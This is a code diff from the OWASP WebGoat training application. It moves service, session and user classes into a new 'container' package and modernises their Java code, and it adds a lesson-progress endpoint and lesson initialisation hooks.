* will always need to fetch the labels with the new language set by the user. So we don't need to intercept each
* and every request to see if the language param has been set in the request.
*
* @param lang the language to fetch labels for (optional)
* @return a map of labels
* @return a map of all the labels
*/
@GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public ResponseEntity<Properties> fetchLabels(@RequestParam(value = "lang", required = false) String lang) {
if (!StringUtils.isEmpty(lang)) {
Locale locale = Locale.forLanguageTag(lang);
((SessionLocaleResolver) localeResolver).setDefaultLocale(locale);
log.debug("Language provided: {} leads to Locale: {}", lang, locale);
}
Properties allProperties = new Properties();
public ResponseEntity<Properties> fetchLabels() {
var allProperties = new Properties();
allProperties.putAll(messages.getMessages());
allProperties.putAll(pluginMessages.getMessages());
return new ResponseEntity<>(allProperties, HttpStatus.OK);

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.service;
package org.owasp.webgoat.container.service;
import lombok.AllArgsConstructor;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.LessonInfoModel;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.container.lessons.Lesson;
import org.owasp.webgoat.container.lessons.LessonInfoModel;
import org.owasp.webgoat.container.session.WebSession;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

View File

@ -27,19 +27,19 @@
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.service;
package org.owasp.webgoat.container.service;
import lombok.AllArgsConstructor;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.LessonMenuItem;
import org.owasp.webgoat.lessons.LessonMenuItemType;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.users.LessonTracker;
import org.owasp.webgoat.users.UserTracker;
import org.owasp.webgoat.users.UserTrackerRepository;
import org.owasp.webgoat.container.lessons.Assignment;
import org.owasp.webgoat.container.lessons.Category;
import org.owasp.webgoat.container.lessons.Lesson;
import org.owasp.webgoat.container.lessons.LessonMenuItem;
import org.owasp.webgoat.container.lessons.LessonMenuItemType;
import org.owasp.webgoat.container.session.Course;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.LessonTracker;
import org.owasp.webgoat.container.users.UserTracker;
import org.owasp.webgoat.container.users.UserTrackerRepository;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@ -49,7 +49,6 @@ import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
/**
* <p>LessonMenuService class.</p>
@ -71,7 +70,7 @@ public class LessonMenuService {
@Value("#{'${exclude.lessons}'.split(',')}")
private List<String> excludeLessons;
/**
* Returns the lesson menu which is used to build the left nav
*
@ -86,19 +85,19 @@ public class LessonMenuService {
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
for (Category category : categories) {
if (excludeCategories.contains(category.name())) {
continue;
}
if (excludeCategories.contains(category.name())) {
continue;
}
LessonMenuItem categoryItem = new LessonMenuItem();
categoryItem.setName(category.getName());
categoryItem.setType(LessonMenuItemType.CATEGORY);
// check for any lessons for this category
List<Lesson> lessons = course.getLessons(category);
lessons = lessons.stream().sorted(Comparator.comparing(l -> l.getTitle())).collect(Collectors.toList());
lessons = lessons.stream().sorted(Comparator.comparing(Lesson::getTitle)).toList();
for (Lesson lesson : lessons) {
if (excludeLessons.contains(lesson.getName())) {
continue;
}
if (excludeLessons.contains(lesson.getName())) {
continue;
}
LessonMenuItem lessonItem = new LessonMenuItem();
lessonItem.setName(lesson.getTitle());
lessonItem.setLink(lesson.getLink());
@ -118,14 +117,14 @@ public class LessonMenuService {
private boolean lessonCompleted(Map<Assignment, Boolean> map, Lesson currentLesson) {
boolean result = true;
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
Assignment storedAssignment = entry.getKey();
for (Assignment lessonAssignment: currentLesson.getAssignments()) {
if (lessonAssignment.getName().equals(storedAssignment.getName())) {
result = result && entry.getValue();
break;
}
}
Assignment storedAssignment = entry.getKey();
for (Assignment lessonAssignment : currentLesson.getAssignments()) {
if (lessonAssignment.getName().equals(storedAssignment.getName())) {
result = result && entry.getValue();
break;
}
}
}
return result;
}

View File

@ -0,0 +1,59 @@
package org.owasp.webgoat.container.service;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.RequiredArgsConstructor;
import org.owasp.webgoat.container.lessons.Assignment;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.UserTrackerRepository;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.List;
/**
* <p>LessonProgressService class.</p>
*
* @author webgoat
*/
@Controller
@RequiredArgsConstructor
public class LessonProgressService {
private final UserTrackerRepository userTrackerRepository;
private final WebSession webSession;
/**
* Endpoint for fetching the complete lesson overview which informs the user about whether all the assignments are solved.
* Used as the last page of the lesson to generate a lesson overview.
*
* @return list of assignments
*/
@RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json")
@ResponseBody
public List<LessonOverview> lessonOverview() {
var userTracker = userTrackerRepository.findByUser(webSession.getUserName());
var currentLesson = webSession.getCurrentLesson();
if (currentLesson != null) {
var lessonTracker = userTracker.getLessonTracker(currentLesson);
return lessonTracker.getLessonOverview().entrySet().stream()
.map(entry -> new LessonOverview(entry.getKey(), entry.getValue()))
.toList();
}
return List.of();
}
@AllArgsConstructor
@Getter
//Jackson does not really like returning a map of <Assignment, Boolean> directly, see http://stackoverflow.com/questions/11628698/can-we-make-object-as-key-in-map-when-using-json
//so creating intermediate object is the easiest solution
private static class LessonOverview {
private Assignment assignment;
private Boolean solved;
}
}

View File

@ -1,7 +1,7 @@
package org.owasp.webgoat.service;
package org.owasp.webgoat.container.service;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.container.lessons.Lesson;
import org.owasp.webgoat.container.session.WebSession;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

View File

@ -27,18 +27,18 @@
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.service;
package org.owasp.webgoat.container.service;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.Setter;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.users.LessonTracker;
import org.owasp.webgoat.users.UserTracker;
import org.owasp.webgoat.users.UserTrackerRepository;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.lessons.Lesson;
import org.owasp.webgoat.container.session.Course;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.LessonTracker;
import org.owasp.webgoat.container.users.UserTracker;
import org.owasp.webgoat.container.users.UserTrackerRepository;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;

View File

@ -22,20 +22,22 @@
* projects.
*/
package org.owasp.webgoat.service;
package org.owasp.webgoat.container.service;
import lombok.AllArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.flywaydb.core.Flyway;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.users.UserTracker;
import org.owasp.webgoat.users.UserTrackerRepository;
import org.owasp.webgoat.container.lessons.Initializeable;
import org.owasp.webgoat.container.lessons.Lesson;
import org.owasp.webgoat.container.session.WebSession;
import org.owasp.webgoat.container.users.UserTracker;
import org.owasp.webgoat.container.users.UserTrackerRepository;
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import java.util.List;
import java.util.function.Function;
@Controller
@ -46,6 +48,7 @@ public class RestartLessonService {
private final WebSession webSession;
private final UserTrackerRepository userTrackerRepository;
private final Function<String, Flyway> flywayLessons;
private final List<Initializeable> lessonsToInitialize;
@RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text")
@ResponseStatus(value = HttpStatus.OK)
@ -60,5 +63,7 @@ public class RestartLessonService {
var flyway = flywayLessons.apply(webSession.getUserName());
flyway.clean();
flyway.migrate();
lessonsToInitialize.forEach(i -> i.initialize(webSession.getUser()));
}
}

View File

@ -4,11 +4,11 @@
* and open the template in the editor.
*/
package org.owasp.webgoat.service;
package org.owasp.webgoat.container.service;
import lombok.RequiredArgsConstructor;
import org.owasp.webgoat.i18n.Messages;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.container.i18n.Messages;
import org.owasp.webgoat.container.session.WebSession;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

View File

@ -1,13 +1,11 @@
package org.owasp.webgoat.session;
package org.owasp.webgoat.container.session;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.container.lessons.Category;
import org.owasp.webgoat.container.lessons.Lesson;
import java.util.List;
import static java.util.stream.Collectors.toList;
/**
* ************************************************************************************************
* <p>
@ -41,9 +39,9 @@ import static java.util.stream.Collectors.toList;
@Slf4j
public class Course {
private List<? extends Lesson> lessons;
private List<Lesson> lessons;
public Course(List<? extends Lesson> lessons) {
public Course(List<Lesson> lessons) {
this.lessons = lessons;
}
@ -53,7 +51,7 @@ public class Course {
* @return The categories value
*/
public List<Category> getCategories() {
return lessons.parallelStream().map(l -> l.getCategory()).distinct().sorted().collect(toList());
return lessons.parallelStream().map(Lesson::getCategory).distinct().sorted().toList();
}
/**
@ -72,18 +70,18 @@ public class Course {
*
* @return a {@link java.util.List} object.
*/
public List<? extends Lesson> getLessons() {
public List<Lesson> getLessons() {
return this.lessons;
}
/**
* <p>Getter for the field <code>lessons</code>.</p>
*
* @param category a {@link org.owasp.webgoat.lessons.Category} object.
* @param category a {@link org.owasp.webgoat.container.lessons.Category} object.
* @return a {@link java.util.List} object.
*/
public List<Lesson> getLessons(Category category) {
return this.lessons.stream().filter(l -> l.getCategory() == category).collect(toList());
return this.lessons.stream().filter(l -> l.getCategory() == category).toList();
}
public void setLessons(List<Lesson> lessons) {

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.session;
package org.owasp.webgoat.container.session;
import java.io.Serializable;
@ -37,7 +37,7 @@ public class LabelDebugger implements Serializable {
/**
* <p>Sets the status to enabled</p>
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
* @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
*/
public void setEnabled(boolean enabled) {
this.enabled = enabled;

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.session;
package org.owasp.webgoat.container.session;
import java.util.HashMap;

View File

@ -1,7 +1,7 @@
package org.owasp.webgoat.session;
package org.owasp.webgoat.container.session;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.users.WebGoatUser;
import org.owasp.webgoat.container.lessons.Lesson;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.security.core.context.SecurityContextHolder;
import java.io.Serializable;
@ -73,6 +73,10 @@ public class WebSession implements Serializable {
return currentUser.getUsername();
}
public WebGoatUser getUser() {
return currentUser;
}
public void toggleSecurity() {
this.securityEnabled = !this.securityEnabled;
}

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.users;
package org.owasp.webgoat.container.users;
import lombok.Getter;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.container.lessons.Lesson;
import org.owasp.webgoat.container.lessons.Assignment;
import javax.persistence.*;
import java.util.*;
@ -76,7 +76,7 @@ public class LessonTracker {
* @param solvedAssignment the assignment which the user solved
*/
public void assignmentSolved(String solvedAssignment) {
getAssignment(solvedAssignment).ifPresent(a -> solvedAssignments.add(a));
getAssignment(solvedAssignment).ifPresent(solvedAssignments::add);
}
/**
@ -106,7 +106,7 @@ public class LessonTracker {
public Map<Assignment, Boolean> getLessonOverview() {
List<Assignment> notSolved = allAssignments.stream()
.filter(i -> !solvedAssignments.contains(i))
.collect(Collectors.toList());
.toList();
Map<Assignment, Boolean> overview = notSolved.stream().collect(Collectors.toMap(a -> a, b -> false));
overview.putAll(solvedAssignments.stream().collect(Collectors.toMap(a -> a, b -> true)));
return overview;

View File

@ -1,7 +1,6 @@
package org.owasp.webgoat.users;
package org.owasp.webgoat.container.users;
import lombok.AllArgsConstructor;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.stereotype.Controller;

View File

@ -1,16 +1,16 @@
package org.owasp.webgoat.users;
package org.owasp.webgoat.container.users;
import lombok.AllArgsConstructor;
import lombok.Getter;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.lessons.Lesson;
import org.owasp.webgoat.container.session.Course;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
import java.util.stream.Collectors;
import java.util.Optional;
/**
* Temp endpoint just for the CTF.
@ -39,38 +39,35 @@ public class Scoreboard {
List<WebGoatUser> allUsers = userRepository.findAll();
List<Ranking> rankings = new ArrayList<>();
for (WebGoatUser user : allUsers) {
if (user.getUsername().startsWith("csrf-")) {
//the csrf- assignment specific users do not need to be in the overview
continue;
}
if (user.getUsername().startsWith("csrf-")) {
//the csrf- assignment specific users do not need to be in the overview
continue;
}
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
}
/* sort on number of captured flags to present an ordered ranking */
rankings.sort(new Comparator<Ranking>() {
@Override
public int compare(Ranking o1, Ranking o2) {
return o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size();
}
});
rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size());
return rankings;
}
private List<String> challengesSolved(UserTracker userTracker) {
List<String> challenges = List.of("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
return challenges.stream()
.map(c -> userTracker.getLessonTracker(c))
.filter(l -> l.isPresent()).map(l -> l.get())
.filter(l -> l.isLessonSolved())
.map(l -> l.getLessonName())
.map(l -> toLessonTitle(l))
.collect(Collectors.toList());
.map(userTracker::getLessonTracker)
.flatMap(Optional::stream)
.filter(LessonTracker::isLessonSolved)
.map(LessonTracker::getLessonName)
.map(this::toLessonTitle)
.toList();
}
private String toLessonTitle(String id) {
String titleKey = course.getLessons().stream().filter(l -> l.getId().equals(id)).findFirst().get().getTitle();
String titleKey = course.getLessons().stream()
.filter(l -> l.getId().equals(id))
.findFirst()
.map(Lesson::getTitle)
.orElse("No title");
return pluginMessages.getMessage(titleKey, titleKey);
}
}

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.users;
package org.owasp.webgoat.container.users;
import lombok.Getter;
import lombok.Setter;

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.users;
package org.owasp.webgoat.container.users;
import org.springframework.data.jpa.repository.JpaRepository;

View File

@ -1,9 +1,8 @@
package org.owasp.webgoat.users;
package org.owasp.webgoat.container.users;
import lombok.AllArgsConstructor;
import org.flywaydb.core.Flyway;
import org.flywaydb.core.api.configuration.FluentConfiguration;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.container.lessons.Initializeable;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
@ -24,6 +23,7 @@ public class UserService implements UserDetailsService {
private final UserTrackerRepository userTrackerRepository;
private final JdbcTemplate jdbcTemplate;
private final Function<String, Flyway> flywayLessons;
private final List<Initializeable> lessonInitializables;
@Override
public WebGoatUser loadUserByUsername(String username) throws UsernameNotFoundException {
@ -32,6 +32,7 @@ public class UserService implements UserDetailsService {
throw new UsernameNotFoundException("User not found");
} else {
webGoatUser.createUser();
lessonInitializables.forEach(l -> l.initialize(webGoatUser));
}
return webGoatUser;
}

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.users;
package org.owasp.webgoat.container.users;
import lombok.AccessLevel;
import lombok.AllArgsConstructor;

Some files were not shown because too many files have changed in this diff Show More